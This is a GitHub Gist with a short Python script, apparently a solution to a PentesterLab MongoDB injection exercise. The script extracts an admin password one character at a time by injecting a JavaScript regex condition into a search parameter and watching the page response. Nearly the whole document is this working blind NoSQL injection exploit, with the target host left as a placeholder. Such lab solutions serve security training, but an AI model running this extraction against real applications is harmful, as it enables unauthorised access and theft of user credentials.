Skip to content

Instantly share code, notes, and snippets.

@marcosValle
Created September 17, 2019 23:21
Show Gist options
  • Save marcosValle/d39096375d19601de47d0a01285e6187 to your computer and use it in GitHub Desktop.
Save marcosValle/d39096375d19601de47d0a01285e6187 to your computer and use it in GitHub Desktop.
PentesterLab Essential Badge: MongoDB Injection 02
import requests
from string import digits
password = ""
for i in 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX':
for l in '-abcdef'+digits:
print 'Trying ' + password + l
url = "http://[CHANGE ME]/?search=admin' %26%26 this.password.match(/^"+password+l+".*$/)%00"
print url
r = requests.get(url)
if ">admin<" in r.text:
print 'OK!'
password += l
print password
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment